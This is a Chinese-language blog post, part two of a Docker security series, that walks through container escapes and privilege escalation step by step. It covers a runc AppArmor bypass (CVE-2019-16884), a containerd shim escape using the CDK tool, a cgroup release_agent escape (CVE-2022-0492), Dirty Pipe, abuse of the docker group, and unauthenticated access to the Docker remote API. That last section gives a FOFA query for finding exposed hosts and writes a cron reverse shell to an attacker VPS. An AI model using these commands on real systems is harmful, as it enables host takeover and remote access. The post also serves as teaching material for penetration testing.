Docker安全(二)

继上一篇,在(一)中,总结了常用的docker环境的判断和信息收集,以及常用的三种逃逸方式:Priviliged 特权模式逃逸、挂载宿主机 procfs 逃逸、挂载 Docker Socket 逃逸,本文将总结一些通过docker自身漏洞以及安全配置不当造成的逃逸或者其他渗透利用方式

CVE-2019-16884

攻击者可以在容器镜像中可以声明一个VOLUME并挂载至/proc,之后欺骗runc使其认为AppArmor已经成功应用从而绕过AppArmor策略
(runc是一个根据OCI规范实现的CLI工具,用于生成和运行容器,docker的runtime使用的就是runc)

影响版本:runc <= 1.0.0-rc8

漏洞复现:

首先创建apparmor规则

1
2
3
4
5
6
7
#include <tunables/global>

profile no_flag flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
file,
deny /flag r,
}

(注:如果docker环境中不能使用vim,可以使用cat+EOF)
随后创建一个flag文件,以证实逃逸是否成功

再对刚才创建的规则进行应用

1
/sbin/apparmor_parser --replace --write-cache /etc/apparmor.d/no_flag

这个时候如果我们启动一个正常镜像并尝试读取flag是报错的,会提示无权限读取flag内容,这个时候我们就可以利用漏洞启动一个恶意镜像,来读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir -p rootfs/proc/self/{attr,fd}
touch rootfs/proc/self/{status,attr/exec}
touch rootfs/proc/self/fd/{4,5}

cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /

VOLUME /proc
EOF

docker build -t apparmor-bypass .
docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag apparmor-bypass cat /flag

逃逸成功,并成功读取宿主机文件

CVE-2020-15257

containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行,总结来说,攻击者可以使容器与宿主机处于同一网络命名空间,从而突破容器命名空间隔离,实现容器逃逸

影响版本:containerd < 1.4.3、containerd < 1.3.9

知识补充

containerd-shim:
夹杂在containerd和runc之间,每次启动一个容器,都会创建一个新的containerd-shim进程,它通过指定的三个参数:容器id、bundle目录、运行时二进制文件路径,来调用运行时的API创建、运行容器,持续存在到容器实例进程退出为止,将容器的退出状态反馈给containerd

Unix套接字:
在Linux系统中,有一种Unix域套接字,可以用于同一个主机上的进程之间进行通信,它的API调用方法和普通的TCP/IP的套接字一样,也是调用socket函数创建一个套接字,域设置成AF_UNIX,套接字的类型可以是流套接字(SOCK_STREAM)和数据报套接字(SOCK_DGRAM)

1
2
3
4
Unix域流套接字:
socket(AF_UNIX, SOCK_STREAM, 0);
Unix域数据报套接字:
socket(AF_UNIX,SOCK_DGRAM, 0);

docker网络模式:

1
2
3
4
1)none:这种模式下容器内部只有loopback回环网络,没有其他网卡,不能访问外网,完全封闭的网络;
2)container:指定一个已经存在的容器名字,新的容器会和这个已经存在的容器共享一个网络命名空间,IP、端口范围也一起在这两个容器中共享;
3)bridge:这是docker默认的网络模式,会为每一个容器分配网络命名空间,设置IP,保证容器内的进程使用独立的网络环境,使得容器和容器之间、容器和主机之间实现网络隔离;
4)host:这种模式下,容器和主机已经没有网络隔离了,它们共享同一个网络命名空间,容器的网络配置和主机完全一样,使用主机的IP地址和端口,可以查看到主机所有网卡信息、网络资源,在网络性能上没有损耗。但也正是因为没有网络隔离,容器和主机容易产生网络资源冲突、争抢,以及其他的一些问题安全隐患问题

(在使用docker run命令创建并运行容器时,可以使用–network选项指定容器的网络模式)

每次启动一个容器时,containerd会创建一个新的containerd-shim进程,由containerd-shim进程(而不是containerd)来直接控制容器的整个生命周期,而containerd在创建containerd-shim之前,会创建一个Unix域套接字,containerd传递Unix域套接字文件描述符给containerd-shim。containerd-shim在正式启动之后,会基于父进程(也就是containerd)传递的Unix域套接字文件描述符,建立gRPC服务,对外暴露一些API用于container、task的控制,此时,containerd-shim做为server向外提供服务,containerd做为client,调用containerd-shim提供的API实现对容器的间接管理,而抽象Unix域套接字没有权限限制,所以只能靠连接进程的UID、GID做访问控制,限定了只能是root(UID=0,GID=0)用户才能连接成功。通过访问/proc/net/unix文件,可以获取到当前网络命名空间下所有的Unix域套接字信息,在默认情况下,docker run启动的容器的网络模式是bridge,容器和主机之间实现了网络隔离,所以在容器内部读取/proc/net/unix文件,看不到任何信息

但是在host模式下,由于容器和主机共享同一个网络命名空间,容器能访问到主机中的所有网络资源,所以在容器内部读取/proc/net/unix文件,显示的就是真实主机中的信息

漏洞复现

首先下载容器,并使用host网络模式启动,进入docker之后进行记下id号,后面会用到

接下来就要搬出我们大名鼎鼎的CDK,一款专门为K8s、Docker 和 Containerd 打造的的安全测试(https://github.com/cdk-team/CDK)
这里我们将下载好的压缩包解压,然后直接copy id号,将工具传入到docker容器

进入容器,在容器内执行exp,同时攻击机设置监听

1
2
docker exec -it id号 /bin/bash
./cdk_linux_amd64 run shim-pwn 127.0.0.1 9999

成功完成逃逸获得宿主机的shell

CVE-2022-0492

漏洞发生的点在于对修改cgroup 的release_agent缺失权限校验,导致给逃逸利用的门槛进一步降低(以前需要CAP_SYS_ADMIN权限,该漏洞无需CAP_SYS_ADMIN),当容器没有开启额外安全措施时,获得容器内root权限即可逃逸到宿主机
漏洞产品: linux kernel - cgroup

知识补充

cgroup:
cgroup 即Linux Control Group, 是Linux内核的一个功能,用来限制,控制与分离一个进程组群的资源(如CPU、内存、磁盘输入输出等)
cgroup 有如下子系统:

1
2
3
4
5
6
7
8
9
10
devices //进程范围设备权限
cpuset //分配进程可使用的 CPU数和内存节点
cpu //控制CPU占有率
cpuacct //统计CPU使用情况,例如运行时间,throttled时间
memory //限制内存的使用上限
freezer //暂停 Cgroup 中的进程
net_cls //配合 tc(traffic controller)限制网络带宽
net_prio //设置进程的网络流量优先级
huge_tlb //限制 HugeTLB 的使用
perf_event //允许 Perf 工具基于 Cgroup 分组做性能检测

宿主机中的cgroup 都在/sys/fs/cgroup 下,可以看到各个cgroup 子系统

docker 中对应的cgroup 子系统就是宿主机中该cgroup 的子节点,docker中查看memory cgroup
如果一个服务器有一个普通的用户,并且这个用户加入了 docker 组,则这个用户已经是 root 了

主机docker 目录中的对应容器名节点,一模一样

release_agent:
cgroup的每一个subsystem都有参数notify_on_release,这个参数值是Boolean型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用(为1),当cgroup不再包含任何任务时(即cgroup中最后一个进程退出的时候,cgroup的tasks文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的内容.通过修改notify_on_release 文件的形势修改notify_on_release的值

漏洞发生就位于对release_agent 的修改,在原本只要可以操作cgroup 便可对release_agent 进行修改,而需要CAP_SYS_ADMIN才可以使用cgroup。但后来有人研究发现通过unshare命令创建新的namespace可以获得全部的capbilities,那么对于CAP_SYS_ADMIN 的限制就不存在了,漏洞利用的门槛一下子降低了很多

unshare命令:
unshare 命令功能为取消指定的共享父进程中指定的命名空间,然后执行指定的程序并加入新创建的namespace。和我们漏洞利用相关的就是,unshare 新创建的namespace 拥有包括CAP_SYS_ADMIN在内的全部的capbilities

漏洞复现

在存在漏洞版本的内核的linux中使用docker 即可,我这里直接使用metarget搭建环境

带有 sys_admin 启动 Docker, 关闭 apparmor

1
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash

上面是带有 CAP_SYS_ADMIN 权限的 Docker,当进行mount 的时候会主动加载 release_agent
进入 Docker 内部,首先挂载 cgroup

修改 release_agent 触发逃逸,将 notify_on_release 设置为1,开启 task 进程清空后执行 release_agent 功能

1
echo 1 > /tmp/testcgroup/x/notify_on_release

创建 release_agent 触发时执行的文件

1
2
3
4
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result" >> /cmd
chmod 777 /cmd

修改release_agent ,指向 cmd 文件在宿主机中的路径(上面已经获取了容器根目录在宿主机中的路径)

1
echo "$host_path/cmd" > /tmp/testcgroup/release_agent

接下来向 x cgroup 节点中输入一个任务,将自己所属的 sh 的pid 写入 cgroup.procs

1
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"

sh 命令只执行了一个 echo 指令,一瞬间就会结束,那么 x cgroup 节点中就 / 没有任何任务了,触发 notify_on_release 执行 release_agent 指向的 /cmd 文件,内核触发,在容器外执行我们指定的命令,完成逃逸

从脏管道到Docker逃逸

脏管道介绍

提到脏管道,就不得不说CVE-2022-0847,它是一个是存在于 Linux 内核 5.8 及之后版本中的本地提权漏洞,攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root,漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为 Dirty Pipe(脏管道)

漏洞利用:
exp: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
https://github.com/Al1ex/CVE-2022-0847
两种利用方式:一种是修改/覆盖只读文件提权,另一种是劫持 SUID 二进制文件提权
第一种我失败了,应该是内核版本的问题

第二种以 root 身份运行的只读 SUID 进程内存中注入和覆盖数据

利用条件与限制

利用条件:
1、有可读权限或者可以传回文件的文件描述符。
2、有漏洞的内核

利用的限制:
1、第一个字节不可修改,并且单次写入不能大于 4k
2、只能单纯覆盖,不能调整文件大小
3、由于漏洞基于内存页,所以不会对磁盘有影响

与Docker的关系

由于 Docker 和宿主机是共享内核,尽管与其他进程资源是隔离开的,内核漏洞也很可能会对 Docker 容器造成安全问题
对于容器的影响:
假设我们有两个容器:liu1和liu2,由于 Docker 本质上是由一组互相重叠的层所组层的,然后容器引擎将其合并到一起,原本这些层都是只读的,但由于脏管道漏洞的影响,我们可以在 liu1 容器里修改 /etc/passwd 使得 liu2 容器的 /etc/passwd 被修改

docker用户组提权

Docker 需要 root 权限才能跑起来,其运行的所有命令都是需要 sudo 来运行,因此 Docker 监护进程有一个特性,它能被允许访问 root 用户或者是在 docker 组里面的所有用户,这就如同拥有 root 的访问权限。简而言之,如果我们拿到了一个docker组内用户的权限,就可以提升到root权限

漏洞复现

如果一个服务器有一个普通的用户,并且这个用户加入了 docker 组,则这个用户已经是 root 了
方法一:
环境搭建

1
2
3
adduser joker
usermod -G docker joker
newgrp docker

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的,Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限就相当于给用户无需认证便可以随便获取的 root 权限

1
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,然后获取到宿主机的 root 权限

方法二:
环境搭建

1
2
3
adduser test-docker
usermod -G docker test-docker
newgrp docker

将 /etc/ 目录挂载进 Docker,查看 shadow 和 passwd

这里已经获取到密码 hash,我们添加一个特权账号

1
openssl passwd -1 -salt test-d

docker远程API未授权访问逃逸

Docker的2375端口主要用于Docker守护进程的监听和通信。它主要用于Docker容器的网络连接和通信,包括容器的启动、停止、删除等操作。该端口可以被Docker守护进程用于接收来自客户端的请求,并与其进行交互和通信,在早期的版本安装Docker是会默认将2375端口对外开放,目前改为默认只允许本地访问。而docker远程API未授权访问漏洞原理就是:docker remote api 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker

如何开启远程访问(环境搭建)

1
2
3
4
5
6
7
8
第一种:
vim /lib/systemd/system/docker.service

ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375
--containerd=/run/containerd/containerd.sock

第二种:
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

如何检测2375端口存在未授权?
可以直接在浏览器访问敏感接口

或者通过下面这条指令,如果返回404,说明存在

1
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375

fofa语法索引

1
port="2375" && country="CN" && "Docker" //country自改

漏洞复现

1
2
3
4
5
6
7
8
9
10
curl http://<target>:2375/containers/json  //列出容器信息

docker -H tcp://<target>:2375 ps -a //查看容器

docker -H tcp://<target>:2375 run -it -v /:/mnt nginx:latest /bin/bash //新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下

echo '* * * * * /bin/bash -i >& /dev/tcp/VPSip/监听端口 0>&1' >> /mnt/var/spool/cron/crontabs/root //在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root

本地监听端口,获取对方宿主机shell


Docker安全(二)
http://example.com/2024/02/18/Docker安全(二)/
作者
liuty
发布于
2024年2月18日
许可协议